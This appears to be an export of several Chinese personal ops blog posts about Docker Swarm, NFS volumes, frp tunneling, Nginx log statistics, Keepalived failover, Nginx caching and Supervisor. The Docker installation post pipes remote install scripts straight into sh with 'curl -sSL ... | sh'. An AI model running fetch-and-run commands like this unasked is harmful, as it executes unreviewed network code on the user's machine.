Fundebug博客\nDocker管理工具-Swarm部署记录 很棒的一個博客站，長期學習\nDocker volume 跨服务器迁移 \u0026ndash; way to go\n服务器清除 xmrig 后门程序记录 \u0026ndash; way to go\nDocker 搭建 Nginx+MySQL+ PHP (LNMP)基础环境 \u0026ndash; way to go 很棒的文章，干货实用。\nDocker 镜像、容器与服务 一個實例，簡潔明瞭的構建自己的一個鏡像\nDocker Swarm 深入浅出 很好的一本書\nDocker — 从入门到实践\nConsul 与 Registrator 怕自己弄丢的好文章\n02 - Moosefs 分布式文件系统\nTraefik 微服务代理\n","date":"2019-03-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-13-%E6%94%B6%E5%B7%A5-%E5%85%B3%E4%BA%8Eswarm%E7%9A%84%E6%80%BB%E7%BB%93/","tags":null,"title":"收工-关于Swarm的总结"},{"categories":null,"contents":"前 这个题目可能显得比较不严谨，但是也想不到什么好的名字。这篇主要就是实现，在一个 Swarm 集群里面的 Nginx 的服务部署。且实现可以很快的进行 文件变更以及配置变更的统一提交。\n这里至于之前的对于Swarm 的服务功能的测试不同了，更加偏向应用。再往后一部分，将会使用stack 来实现一个真正可用的服务架构。\n正文 使用Swarm 很容易的实现了一个服务：\ndocker service create \\ --replicas 2 \\ # 两个副本（一共） --network ngx_net \\ # 虚拟网络 --name my-test \\ # 服务名 -p 80:80 nginx # 端口映射（本地到容器） 但是实际上要对这些服务进行以下内容的变更，就需要挂载外部卷了。\n外部卷的挂载 在创建服务的时候，可以使用以下，命令进行 一个数据卷的创建，以及挂载。而且在服务被创建的时候，这些容器会被拷贝到多个节点上去，命令如下\n# 创建一个挂载卷 docker volume create --name myvolume # 在容器内挂载卷 docker service create \\ --replicas 2 \\ --network ngx_net \\ --mount type=volume,src=myvolume,dst=/wangshibo \\ --name test-nginx nginx 但是问题来了，如果部署完成之后，对配置文件进行变更，这文件并不会同步到每个节点上。这里打算使用 NFS 进行部署\nNFS 的部署 为了实现多节点的配置文件的同步，以及数据卷的统一管理，这里就直接使用NFS\n使用 apt 直接进行服务的安装 ：\napt-get install nfs-common # 这个在所有节点进行安装 apt-get install nfs-kernel-server # 这里是NFS的服务，安装在服务节点上 配置共享目录 /etc/exports ，添加新行。\n/srv/nfs/ bgb1(rw,sync) bgb2(rw,sync) bgb3(rw,sync) 重启服务端的nfs服务，并且尝试挂载：\n\u0026gt; service nfs-kernel-server start # b 主机上进行挂载 \u0026gt; mount bgb0:/srv/nfs /mnt/ \u0026gt; chmod a+x /srv/nfs -R 测试完成，NFS 部署完成。\nNFS 共享卷挂载 为了实现多个节点之间的文件共享。这里遇到了很坑的问题，不知道是自己的理解问题还是BUG什么，具体症状是 NFS卷 不进行自动的挂载。\n新建一个NFS的卷，下面命令进行参数修改即可。\ndocker volume create --driver local \\ --opt type=nfs4 \\ --opt o=addr=,rw \\ --opt device=: \\ share 由于上面的问题折腾了很久的时间，只好暂时使用手动进行挂载，后面再进行逐步的研究。\nmount bgb0:/srv/nfs /var/lib/docker/volumes/share/_data # 用作页面 /usr/share/nginx/html/ mount bgb0:/srv/nfs/nginx/html /var/lib/docker/volumes/Nginx_html/_data # 用作配置 /etc/nginx/ mount bgb0:/srv/nfs/nginx/conf /var/lib/docker/volumes/Nginx_conf/_data 和第一部分的创建服务一样，这里直接使用Portainer来进行创建各个节点的卷，然后手动执行上面的命令，进行NFS的挂载，没有美感\n（应该又是一个 BUG ，在创建服务的时候初始配置，如果直接使用了当前的卷，其默认的的是新建新的卷。而不是对原有的卷来进行拷贝，这点待会可能去提个 Issue 。）需要在服务创建之后，后面进行第二次的挂载，才能正确的挂载 nginx_html 这个卷\n当全部进行手动挂载之后，所有的配置文件都可可以从NFS主机处获取。实现配置的统一管理\n记得映射 80 和 443 完成主机功能配置。\nNginx 配置 当前面的基于 NFS 的共享配置完成之后，可以直接对之前的配置进行平行迁移即可，（copy-paste）。\n完成配置文件的迁移之后，可以直接在终端里面进行平滑升级。\ndocker service update WebTest frpc 的部署 这里这里可以直接在 DockerHub上面找到相应的镜像，前面还以为没有，打算自己写 Dockerfile的，现在既然遇上了就直接使用了。\nxddxdd/frpc 这个是 frpc 的image ，里面刚好有 armv7 的版本 。\nentry point /usr/bin/frpc working Dir /frp 这里，直接 bind 绑定 host 的目录，到容器内部\n--mount type=bind,src=/conf,dst=/frp 主机目录配置文件 frpc.ini ，其配内容如下\n[common] server_addr = ******* server_port = 7000 token = ******* [web_swarm] type = tcp local_ip = 192.168.***.*** local_port = 443 remote_port = ****** 之后直接对容器进行重启即可。\n后 这里是在云服务器上使用 Nginx 做一个 upstream ， 具体的细节前面有讲 不在赘述。至此功能测试完毕。\n续 后面将会使用 Stack 和 network 功能， 实现结构的整体部署。还得解决 NFS 的不自动挂载的问题\n是不是每个人年轻的时候都有这样一段日子，鸿鹄志高却难遂，迷茫地过着，昏昏噩噩地耗，最终不是妥协泯然众人，就是找不到出口被生活围困。这时候家人朋友，看在眼里，哪怕不说，心里想的也是“小镇青年何必心怀远方”这样的想法吧。（J·M·库切《青春》）\n","date":"2019-03-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-12-nginx-%E7%9A%84-swarm-%E5%8C%96/","tags":null,"title":"Nginx 的 Swarm 化"},{"categories":null,"contents":"前面的话 上一篇简单快速的进行swarm集群的部署，这可以开始使用了。这里试着部署一个 Nginx 的服务，并且一步步实现前面的高可用的服务架构。\nNginx image 地址 这里推荐一个博客： 散尽浮华 - 安寻安放，不卑不亢；重剑无锋，大巧不工！ 里面很多很多的干活，实用型的文章\n概念 多个容器的统一为服务 多个服务的统一为栈 服务内自动有VIP机制，VIP 为各个节点的IP docker service其实不仅仅是批量启动服务这么简单，而是在集群中定义了一种状态。Cluster会持续检测服务的健康状态并维护集群的高可用性。\n基础 Swarm 作为 Docker 的原生功能，其主要的工具有以下：\ndocker swarm 用于集群管理 docker service 用于服务创建 docker node 用于节点管理 实践 部署服务 这里简单的基于 Swarm 部署一个 Nginx 的服务。（其实这里本来应该有详细的说明的，留在下篇吧）\ndocker network create -d overlay ngx_net # 查看docker网络 docker network ls docker service create \\ --replicas 2 \\ # 两个副本（一共） --network ngx_net \\ # 虚拟网络 --name my-test \\ # 服务名 -p 80:80 nginx # 端口映射（本地到容器） docker service ps # 查看运行的所有的服务 docker ps # 查看节点的运行的容器 服务扩缩容 Swarm 的一大亮点，就是可以很灵活的进行服务的扩缩容。可以很方便的调整服务的对应的容器的数量。\ndocker service scale my-test=1 docker service scale my-test=5 数据的持久化 容器和镜像的区别在与其可读性，镜像可以理解为只读的容器。为了数据的持久化，数据应该挂在在硬盘之上，而不是容器智能，否则容器销毁，数据将会消失。\n这里主要有两种办法：\nbind 这里是直接绑定硬盘上的目录和容器内的目录。 volumes 在主机上建立相应的目录，可以进行统一的管理。 # 创建一个挂载卷 docker volume create --name myvolume # 在容器内挂载卷 docker service create \\ --replicas 2 \\ --network ngx_net \\ --mount type=volume,src=myvolume,dst=/wangshibo \\ --name test-nginx nginx # 这里在容器内执行shell，可以看到文件已经同步 docker exec -ti 3618e3d1b966 /bin/bash 这里再折腾的时候，遇到了很大的问题，后面看到发现是swarm 的特性。当服务有多个副本的时候，在创建的时候，的确会在manager界面对目录进行拷贝。但是，后续再对manager上的文件进行修改，这些修改将不会被同步到各个节点上。需要一个个的进行修改很是麻烦，后面可以试着使用 NFS 实现多个镜像的配置文件的统一。\n参考 Docker管理工具-Swarm部署记录 后面的话 当你发现自己的才华撑不起野心时，就请安静下来学习吧\n","date":"2019-03-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-11-swarm%E7%9A%84%E6%9C%8D%E5%8A%A1/","tags":null,"title":"Swarm的服务"},{"categories":null,"contents":"快速部署 Docker 的安装 Docker 的安装，这里直接使用官方提供的一键安装的脚本。一路绿灯\ncurl -sSL https://get.docker.com/ | sh curl -sSL https://get.daocloud.io/docker | sh 创建Swarm集群 直接使用 Docker 的 swarm 来进行集群的创建。直接通过help可以查看相关的参数\n# 初始化 Swarm 集群 docker swarm init --advertise-addr 192.168.xxx.xxx # 这里是主机的地址 注意保持静态 IP # 得到 Worker 的join-token docker swarm join-token worker # 输入join之后直接加入集群 docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS ENGINE VERSION 6km4644t62w3h3g7iujceerl1 * bgb1 Ready Active Leader 18.06.3-ce kwi9t231ulc2dry75zzg52580 bgb2 Ready Active 18.06.3-ce Portainer 服务部署 #拉镜像 docker pull portainer/portainer # 创建挂载卷 docker volume create portainer_data # 创建挂载目录,不然后面挂载会报错 mkdir -p /opt/portainer docker service create \\ --name portainer \\ --publish 9000:9000 \\ --replicas=1 \\ --constraint \u0026#39;node.role == manager\u0026#39; \\ --mount type=bind,src=//var/run/docker.sock,dst=/var/run/docker.sock \\ --mount type=bind,src=//opt/portainer,dst=/data \\ portainer/portainer \\ -H unix:///var/run/docker.sock # 列出所有的服务 docker service ls ID NAME MODE REPLICAS IMAGE PORTS plmkdifqivcs mAgent_agent global 4/4 portainer/agent:latest 这里注意的是，这里的部署是服务部署，而不是单个容器的部署。\n容器的部署是针对与单个节点的。在上面的部署方式也可以使用：\ndocker run -d -p 9000:9000 --name portainer --restart always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer 这里的问题是，这个命令只是在单主机的 Node 上对该镜像进行了部署。如果进行服务的访问，只能通过该主机的Hostname 进行访问。\n但是一旦进行了一个服务的部署，那么所有的节点IP，都会做一个统一的映射，继而都可以对该服务进行访问。（这里选择的网络接口是 Ingress ，直接和主机网络共享，并且在服务的子网内，这些容器是自动进行负载均衡的。全自动的！\n至此，整个 Swarm 集群搭建完成，并且使用了轻量级的容器管理系统 Portainer 。\n笔记s 这里，自己折腾了一下简单的部署，实际的应用后面还有很长很长的路要走。这个section记录一下途中遇上的坑：\nManager节点需要配置静态 IP ，因为 advertise 的地址是固定的，否则会发现IP改变之后节点全部 Down 掉。 在跑 Portainer 的注意检查其挂载的目录是否真实存在，否则报错。（bind，和mount） Agent 的部署好像很吃内存。 脚本安装Docker 的时候，被CDN坑，没办法 资料： Docker Swarm 深入浅出 Use bind mounts ","date":"2019-03-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-04-docker%E9%9B%86%E7%BE%A4%E6%90%AD%E5%BB%BA/","tags":null,"title":"Docker集群搭建"},{"categories":null,"contents":"前 这个post来自于之前偶遇的一个页面上的组件：\nWelcome to RSSHub! 万物皆可订阅的RRSHUB\n上面的那个Debug 的统计，就是显得十分的帅气了，想着自己也搞一个？\n查询语句 当然,这里也没什么数据库的，直接是用shell出来的，根据日志的格式来进行解析，参考页面：\n统计Nginx访问量 - 简书\nnginx cache查看缓存命中率\n这些操作都是基于 Nginx 日志进行操作的，这里列举一条：\n111.59.124.138 - - [25/Feb/2019:15:31:26 +0800] \u0026#34;GET / HTTP/2.0\u0026#34; 200 12628 \u0026#34;-\u0026#34; \u0026#34;Mozilla/5. 0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.10 9 Safari/537.36\u0026#34; \u0026#34;-\u0026#34; 使用awk对参数进行提取，默认以空格进行分割。\nawk \u0026#39;{print $1}\u0026#39; /var/log/nginx/access.log|sort | uniq -c |wc -l awk \u0026#39;{print $7}\u0026#39; /var/log/nginx/access.log|wc -l awk \u0026#39;{print $7}\u0026#39; /var/log/nginx/access.log|sort | uniq -c |sort -n -k 1 -r|head 10 awk \u0026#39;{print $1}\u0026#39; /var/log/nginx/access.log|sort | uniq -c |sort -n -k 1 -r|head 10 UV 和 PV：UV（Unique visitor） 24小时内的单个自然人， PV（Page View） 页面点击量。\n这里学好 awk 和 sed 和 xargs 后面我要开专题。 通过 Shell 的天然的特性。就可以得到响应的内容。\nCGI脚本 得到统计提取的脚本之后，这里直接进行通过wsgi实现接口。供前端调用\nimport cgi import os import json print(\u0026#34;Content-Type: application/json\u0026#34;) print(\u0026#34;\u0026#34;) query = { \u0026#39;uv\u0026#39;: \u0026#34;awk \u0026#39;{print $1}\u0026#39; /var/log/nginx/xxxx.xxx.cf.log|sort | uniq -c |wc -l\u0026#34;, \u0026#39;pv\u0026#39;: \u0026#34;awk \u0026#39;{print $7}\u0026#39; /var/log/nginx/xxxx.xxx.cf.log|wc -l\u0026#34;, \u0026#39;hoturl\u0026#39;: \u0026#34;awk \u0026#39;{print $7}\u0026#39; /var/log/nginx/xxxx.xxx.cf.log|sort | uniq -c |sort -n -k 1 -r|head\u0026#34;, \u0026#39;hotip\u0026#39;: \u0026#34;awk \u0026#39;{print $1}\u0026#39; /var/log/nginx/xxxx.xxx.cf.log|sort | uniq -c |sort -n -k 1 -r|head\u0026#34; } resp = dict(zip(query, map(lambda x: os.popen(x).read(), query.values()))) result = json.dumps(resp) print(result) 前端使用 AJAX 进行请求，拉取数据，进行基本处理即可，这里的问题存在：CC攻击 的问题，这里直接使用 Shell 调用，如果接口被压测，可能占用大量的 IO资源。所以优化方案是 数据入库。\n前端处理 前端通过 AJAX 对接口动态调用，拉取数据。之后进行处理和动态刷新。\n$.get(\u0026#39;/get_dbg/\u0026#39;).done(function(data) { $(\u0026#39;#PV\u0026#39;).text(\u0026#39;站点PV: \u0026#39;+ data.pv) $(\u0026#39;#UV\u0026#39;).text(\u0026#39;站点UV: \u0026#39;+ data.uv) $(\u0026#39;#hotip\u0026#39;).html(\u0026#39;\u0026lt;br\u0026gt;\u0026#39; + data.hotip.replace(/\\n/g, \u0026#39;\u0026lt;br\u0026gt;\u0026#39;)) $(\u0026#39;#hoturl\u0026#39;).html(\u0026#39;\u0026lt;br\u0026gt;\u0026#39; + data.hoturl.replace(/\\n/g, \u0026#39;\u0026lt;br\u0026gt;\u0026#39;)) })； 这里进行全局的 \\n 替换，使内容换行。对页面进行刷新即可。\n后 这里做了 nginx 的日志的统计，进行对部分服务质量的反馈。\n","date":"2019-03-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/03/2019-03-02-nginx-%E8%AE%BF%E9%97%AE%E9%87%8F%E7%BB%9F%E8%AE%A1%E6%8E%A5%E5%8F%A3/","tags":null,"title":"Nginx 访问量统计接口"},{"categories":["op之路"],"contents":"前 HA(High Availability) 高可用，是衡量一个系统的重要指标。所以双机热备，成为一个好的和通用的选择。前面的的方案直接使用了nginx 的Upstream，来实现了 双机 的过程。 虽然是可以实现在单节点down掉之后系统依旧可用，不过显得不是那么专业。这里就使用 KeepAlive 来实现系统的 双机过程。\nnginx进程基于Master+Slave(worker)多进程模型，自身具有非常稳定的子进程管理功能。在Master进程分配模式下，Master进程永远不进行业务处理，只是进行任务分发，从而达到Master进程的存活高可靠性，Slave(worker)进程所有的业务信号都 由主进程发出，Slave(worker)进程所有的超时任务都会被Master中止，属于非阻塞式任务模型。 Keepalived是Linux下面实现VRRP备份路由的高可靠性运行件。基于Keepalived设计的服务模式能够真正做到主服务器和备份服务器故障时IP瞬间无缝交接。二者结合，可以构架出比较稳定的软件LB方案。 引用自 Nginx+keepalived 双机热备（主从模式）\nKeepalive 基本概念 KeepAlived 使用了 VRRP 来避免IP的单点故障。VRRP全称 Virtual Router Redundancy Protocol，即 虚拟路由冗余协议。简单的说，在一个子网IP，后面其实对应了 N 台主机。这些主机再构成一个路由器组。这个单独的虚拟ip，复杂对数据包的转发。这里也就有了传说中的 VIP （virtual IP）。\n简单的一句话来讲：多个IP被放在一个路由组，虚拟成一个 IP。\n这里有主机和从机。当主机不可用时候，回自主更新路由对应的MAC（设备）。\nKeepailve 简易配置 这里直接在两台主机上安装 keepalive ，在 /etc/keepalive/keepalive.conf 里面进行配置。 这里也直接贴配置了，因为是直接 Copy的。。。\n示例配置在项目官网可见：http://www.keepalived.org/manpage.html\n主机配置如下，定义了节点名称，网络接口，认证方式以及 VIP：\nglobal_defs { router_id NodeA # 不同节点的不同命名 router_id NodeB ################# } vrrp_instance VI_1 { state MASTER #设置为主服务器 state BACKUP #设置为备服务器 ############### interface eth0 #监测网络接口 virtual_router_id 51 #主、备必须一样 priority 99 #(主、备机取不同的优先级，主机值较大，备份\u0026gt;机值较小,值越大优先级越高) advert_int 1 #VRRP Multicast广播周期秒数 authentication { auth_type PASS #VRRP认证方式，主备必须一致 auth_pass ***** #(密码) } virtual_ipaddress { 192.168.1.200/24 #VRRP HA虚拟地址 } } 上面直接给出了器可用的配置文件，主从之间的差距就是那么几行。之后使用 service 重启服务即可。\n效果验证 在主机或者路由里可以看到 arp -a 里面，192.168.1.200 的这个IP的路由已经被注册了，而且后面的MAC正是我们的 Master 的MAC地址。\n192.168.1.1 20-76-93-46-68-e3 动态 ... 192.168.1.200 2c-4d-54-42-9b-0a 动态 ###################################################################### ➜ keepalived ifconfig eth0: flags=4163\u0026lt;UP,BROADCAST,RUNNING,MULTICAST\u0026gt; mtu 1500 inet 192.168.1.129 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fe80::cffe:4eee:f129:de22 prefixlen 64 scopeid 0x20\u0026lt;link\u0026gt; ether 2c:4d:54:42:9b:0a txqueuelen 1000 (Ethernet) RX packets 464842 bytes 188082136 (179.3 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 506574 bytes 162269596 (154.7 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 43 当拔掉 MASTER 主机的网线之后：可以看到地址绑定的MAC地址，飞速的就切换了。\n192.168.1.1 20-76-93-46-68-e3 动态 ... 192.168.1.200 b8-27-eb-eb-17-72 动态 ####################################################################### 至此可见，Keepalive 的热备效果实现了在一个 VIP 下的双机热备。在单主机下线情况下快速切换。\n问题 当前的配置实际上并不合理，只有在主机掉线后才会进行主从切换。很多实话是某个服务（比如 Nginx）挂掉了导致的服务不可用。所以后面回就需要更高阶的使用，加上对服务进行检测的功能。\nKeepavlived 监控配置 入上面的提到的问题，在这种情况下，只适用于 MASTER 节点down掉的情况下，才会重新选取 Backup节点。然很多时候实际上是服务出了问题而不是主机（比如 Nginx 服务挂掉），那么在这种情况下就不能及时的切换到备机。\n所以这里的配置就需要更进一步，来实现监控的过程。对于 Nignx 的web服务来讲，可以有以下的方式：\n监控 Nginx 进程 监控 Nginx 端口 监控 Nginx 的请求返回 这三种方法，的可靠性也是依次提升的。\n这里参考文章：Nginx+keepalived 双机热备（主从模式）\n里面对细节讲的相当的详细\n在配置文件里，可以使用 vrrp_script 域来自定义检测脚本。示例如下：\nvrrp_script chk_http_port { script \u0026#34;/opt/chk_nginx.sh\u0026#34; # 指定检测脚本 interval 2 # 检测间隔 weight -5 # 故障时权重值 -5 fall 2 # 故障判断次数，连续两次算故障 rise 1 # 检测成功，一次算成功 } 注意：这里要提示一下keepalived.conf中vrrp_script配置区的script一般有2种写法： 1）通过脚本执行的返回结果，改变优先级，keepalived继续发送通告消息，backup比较优先级再决定。这是直接监控Nginx进程的方式。 2）脚本里面检测到异常，直接关闭keepalived进程，backup机器接收不到advertisement会抢占IP。这是检查NginX端口的方式。\n用于检测的 Nginx 进程的脚本如下，用Shell脚本对进程进行检测，统计进程数量，如果进程挂掉，就尝试重启进程，如果进程无法拉起，那么就直接停掉本机的 keepalive ，让 VIP 漂移到从机上。这里使用的就是第二种方法。\ncounter=$(ps -C nginx --no-heading|wc -l) if [ \u0026#34;${counter}\u0026#34; = \u0026#34;0\u0026#34; ]; then /usr/local/nginx/sbin/nginx sleep 2 counter=$(ps -C nginx --no-heading|wc -l) if [ \u0026#34;${counter}\u0026#34; = \u0026#34;0\u0026#34; ]; then /etc/init.d/keepalived stop fi fi 至此，基于进程监控的 Keepalive 已经实现。\n后面的话 这里用 Keepalive 实现了一个 VIP 下的双机热备，和实际业务需求更加接近了一点。当然真实架构不是这样的，这样导致了，从机的完全的空闲，其压测效果还不如两个机器分别在 upstream里面。后面将会使用 Docker集群进行统一管理。\n","date":"2019-02-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-28-keepalive-%E5%AE%9E%E7%8E%B0-ha/","tags":["ha","linux","nginx","ops"],"title":"Keepalive 实现 HA"},{"categories":["op之路"],"contents":"前 车能跑之后，就希望跑的快点对吧？所以就想办法开始对其性能进行优化。 这里就使用 CDN的思想，对代理的静态文件进行缓存，实现访问速度的提升。\n所以这篇的主要目的，就是配置主机的 CDN 功能，实现对页面的静态文件缓存。\nproxy_cache 配置 由于Nginx里面默认是编译了 Cache 的功能， 所以可以很方便的通过配置，来实现功能。这里直接贴出conf的内容。这里需要指定缓存空间，以及缓存配置。\nproxy_cache_path /tmp/ramdisk levels=1:2 keys_zone=my_zone:64m inactive=24h max_size=64m; proxy_cache_key \u0026#34;$scheme$request_method$host$request_uri\u0026#34;; 这里是在 HTTP 域里面进行的缓存空间的配置。\n下面，就是通过正则匹配来实现，不同静态资源的统一缓存。\nlocation ~ .*\\.(gif|jpg|png|html|htm|css|js|ico|swf|pdf)$ { # 部分不需要走缓存 # proxy_cache_bypass $http_cache_control; proxy_set_header Host $host; proxy_ignore_headers Set-Cookie Cache-Control; proxy_set_header X-real-ip $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass https://frpcon; #Use Proxy Cache proxy_cache my_zone; # 缓存空间指定 proxy_cache_key \u0026#34;$host$request_uri\u0026#34;; # 键存储方式 add_header Cache \u0026#34;$upstream_cache_status\u0026#34;; # 返回头添加字段，说明命中状态 proxy_cache_valid 200 304 301 302 8h; # 不同返回码的有效时间 proxy_cache_valid 404 1m; proxy_cache_valid any 2d; } nginx proxy cache配置参数解读 这里是一篇 相关配置参数的说明\n如上配置完成之后，reload server ，缓存功能理应启动。\n于 2019-11-09 17:33:58 星期六 重大补充说明： 上面的配置可能出现配置之后，缓存文件夹为空的情况。一定要注意这里的proxy_cache 不能有下划线。所以上面的命名修正为：\nproxy_cache_path /tmp/ramdisk levels=1:2 keys_zone=myzone:64m inactive=24h max_size=64m; 于2019-11-11 00:21:09 星期一 补充 当下级服务器出现错误返回码时，默认使用缓存来提升容错能力\nproxy_cache_use_stale error timeout http_500 http_502 http_503 http_504; 热数据思想 冷热数据分离的思想，常伴在身，虽然这里的请求量是微乎其微，不过还是建一个概念功能。Cache 的请求量一定是非常高的，所以才会被 cache。涉及到IO的时候，最快的设备可能就是我们的内存了。\n所以这里直接使用内存盘 对数据来进行缓存，这样的化，大大的降低了物理磁盘的IO量，而且也大大提升了缓存性能。\n在linux下实现一个内存盘是相当的简单：\nmkdir /tmp/ramdisk # 创建挂载点 mount -t tmpfs -o size=64m myramdisk /tmp/ramdisk # 实现内存盘挂载 ####### 测速 ##### ➜ /tmp sudo dd if=/dev/zero of=/tmp/ramdisk/zero bs=4k count=100 100+0 records in 100+0 records out 409600 bytes (410 kB) copied, 0.000243897 s, 1.7 GB/s 这里顺便进行了测速，可见速度还是相当的满意的。至此内存盘的配置完毕。\n当然如果要实现自动挂载，需要在 fstab 里面进行配置.\nmyramdisk /tmp/ramdisk tmpfs defaults 0 0 至此配置完毕。\n命中率统计 日志配置 关于命中率的统计这里还是通过在日志里面实现的。和之前的一篇一样，通过 shell 脚本对日志进行提取得到我们需要的数据。\n不过在这里，需要对日志个事进行设定，使其能提供我们需要的信息：\nlog_format proxy \u0026#39;$remote_addr - $remote_user [$time_local] \u0026#34;$request\u0026#34; \u0026#39; \u0026#39;$status $body_bytes_sent \u0026#34;$http_referer\u0026#34; \u0026#39; \u0026#39;\u0026#34;$http_user_agent\u0026#34; \u0026#34;$http_x_forwarded_for\u0026#34;\u0026#39; \u0026#39;\u0026#34;$request_time\u0026#34; \u0026#34;$upstream_response_time\u0026#34; \u0026#34;$upstream_cache_status\u0026#34; \u0026#34;$upstream_addr\u0026#34;\u0026#39;; ... location / { ... access_log xxxx proxy; # 这里对格式进行指定。 } 这里在我们的HTTP域里面自定义日志类型\n统计脚本 学好 awk ，走遍天下都不怕。。。\nawk \u0026#39;{if($(NF-1)==\u0026#34;\\\u0026#34;HIT\\\u0026#34;\u0026#34;) hit++} END {printf \u0026#34;%.4f%\u0026#34;,hit/NR*100}\u0026#39; /var/log/nginx/xxx.log 这里实现了对缓存命中率的统计。后面可以直接合并入之前的接口之中即可。\n后 慢慢装起来一辆能跑快的车，还是不错的。\n更新 如果遇到了在挂载缓冲分区之后，明明是有目录的e，但是nginx报错：\n2019/05/04 21:56:26 [notice] 20504#0: signal process started 2019/05/04 21:56:26 [emerg] 4284#0: mkdir() \u0026#34;/tmp/ramdisk\u0026#34; failed (2: No such file or directory) 2019/05/04 22:02:39 [notice] 21522#0: signal process started 2019/05/04 22:02:39 [emerg] 4284#0: mkdir() \u0026#34;/tmp/ramdisk\u0026#34; failed (2: No such file or directory) 2019/05/04 22:03:14 [emerg] 21628#0: \u0026#34;proxy_cache\u0026#34; zone \u0026#34;my_zone\u0026#34; is unknown in /etc/nginx/nginx.conf:96 2019/05/04 22:03:54 [notice] 21743#0: signal process started 2019/05/04 22:03:54 [emerg] 4284#0: mkdir() \u0026#34;/tmp/ramdisk/\u0026#34; failed (2: No such file or directory) 2019/05/04 22:04:19 [notice] 21827#0: signal process started 这里重启一下Nginx即可，注意是重启，不是reload。应该是一个小BUG\n","date":"2019-02-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-27-proxy-%E7%BC%93%E5%AD%98-%E5%8F%8A-%E5%91%BD%E4%B8%AD%E7%8E%87%E7%BB%9F%E8%AE%A1/","tags":["cache","nginx","proxy"],"title":"Nginx Proxy缓存 及 命中率统计"},{"categories":null,"contents":"前 一台机器东西跑多了，就开始各种混乱了。如果是标准安装的注册了service 的还可以比较容易的进行管理。然而很多组件是后面直接下载二进制文件的。这里一个 nohup ，那里一个。最后只能 ps 找出来。如没运行了，有时候甚至找不到了。自启动也是。\n所以这里就是用 Supervisor 进行统一的进程管理，对添加的进程，的启停，自启等都能有很方便的管理。这篇就做个 basic 的部署使用说明。\n部署及配置 debian 和 redhat 的风格各自不同，debian直接通过 apt-get 安装即可。redhat 使用pip安装\nsudo pip install supervisor 以上完成，就实现了安装过程。\n一共有两个部分 supervisorctl 和 supervisord。根据其命名可以看出来，一个是控制端，另一个是守护进程。先启动守护进程，并注册开机启动。\nsystemctl enable supervisor.service # redhat update-rc.d supervisor enable # debian 之后把进程跑起来\n➜ ~ systemctl start supervisord.service ➜ ~ supervisorctl supervisor\u0026gt; 至此,配置没有问题，部署完成。\n进程配置 在 /etc/supervisord.d 里面通过 ini文件（conf）进行统一的注册。示例注册如下：\n[program:frps] command=/***/frp/frps -c frps_full.ini --log_file frps.log directory=/***/ autostart=true startsecs=5 autorestart=true startretries=3 user=root redirect_stderr=true stdout_logfile_maxbytes=20MB stdout_logfile_backups=5 stdout_logfile=/data/logs/frps_stdout.log 这样就完成了一个进程的注册。后面在 ctl 里面进行更新，和操作了，十分方便\n➜ ~ supervisorctl frps RUNNING pid 6607, uptime 6:14:01 uwsgi RUNNING pid 6606, uptime 6:14:01 supervisor\u0026gt; 至此，一个进程注册完成\n后 这篇文章感觉水水的，不过，挺偏实用向，下面给出 supervisor 的官方手册\nSupervisor: A Process Control System\n","date":"2019-02-22T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-22-supervisor-%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/","tags":null,"title":"Supervisor 进程管理系统"},{"categories":null,"contents":"前 很快这就是第二篇了，上篇信誓旦旦说的更好的方案，实际上，这里较比而已只是有了一点点改进XD\n上一篇：愚蠢的内网穿透方案(tunnel) \u0026lt;\u0026ndash; 在此\n其目标和目的是一样的，实现页面的内网穿透，以及内网主机的反代。\n方案以及可行性 可行性 如上面所说，实际上分了两个部分，内网穿透，以及反向代理。这里实际上有点混淆了一个概念。反向代理实际上是内网穿透的一个实现过程。之于正向代理不同，反向代理是代理服务器在上次，有请求之后，会把请求转发都后排的客户端，所以这就是反向代理的过程。\n那么内网穿透呢？内网穿透是在反向代理的功能上更多了一层。上面提到反向代理，在有连接的时候，会把它直接转发到后面的客户端。但是在穿透这个情况下，内网主机是无法被公网主机所访问，从而无法传递请求了。所以我们在反向代理的前提下，使用客户端向服务器发起TCP长连接，这样就打通了，公网主机到内网主机之间的通道。从而实现了内网的穿透。\n内网穿透 = 反向代理 + 正向连接\n下面又是一个反向代理，这个和前面不一样，是七层代理（也就是应用层）HTTP 的七层代理。对Http的请求进行转发。这个转发和上面不同。转发的服务是运行在内网的主机上的。其作用是对公网穿透的主机请求进行到同一内网的主机的转发。\n这里就是实现的是对HTTP的请求的转发。转发主机与lb主机是在同一个可以访问的网段内的。\n方案 之于上次的傻傻的方法所不同，这次使用现成的轮子了，内网穿透这里直接使用 FRP （Fast reverse proxy）实现，FRP是一个简单易用的内网穿透工具。在公网主机上进行配置。实现内网主机的透传连接。把你穿透到公网主机的开放端口。实现内网主机在公网上的端口访问。\n内网主机使用 Nginx 对目标主机进行 反代，并且把web端口开放在 FRP 的转发上。\n至此方案设计完毕\n部署过程 FRP的部署 FRP项目Readme 这里面对工具的部署和使用做了详尽的说明，我们直接下载对应架构的 FRP 进行使用即可。其中的功能很多。这里我们只需要用到其中的 TCP 透传的功能。\ngit clone https://github.com/fatedier/frp.git 之后直接 make ，就OK了，当然也是推荐使用现有的 Release的版本。\nNginx 部署 Nginx 是在大多数的发行版里默认带有的组件，简单性能轻量。\nFRP配置 以及测试 FRP 配置 这里只是用到了 FRP 的内穿功能，通过简单的配置文件实现：\n服务端：\n[common] server_addr = 0.0.0.0 server_port = *000 token = ******* allow_ports = 2000-3000,3001,3003,4000-50000 配置简单通俗易懂，配置监听端口，以及连接 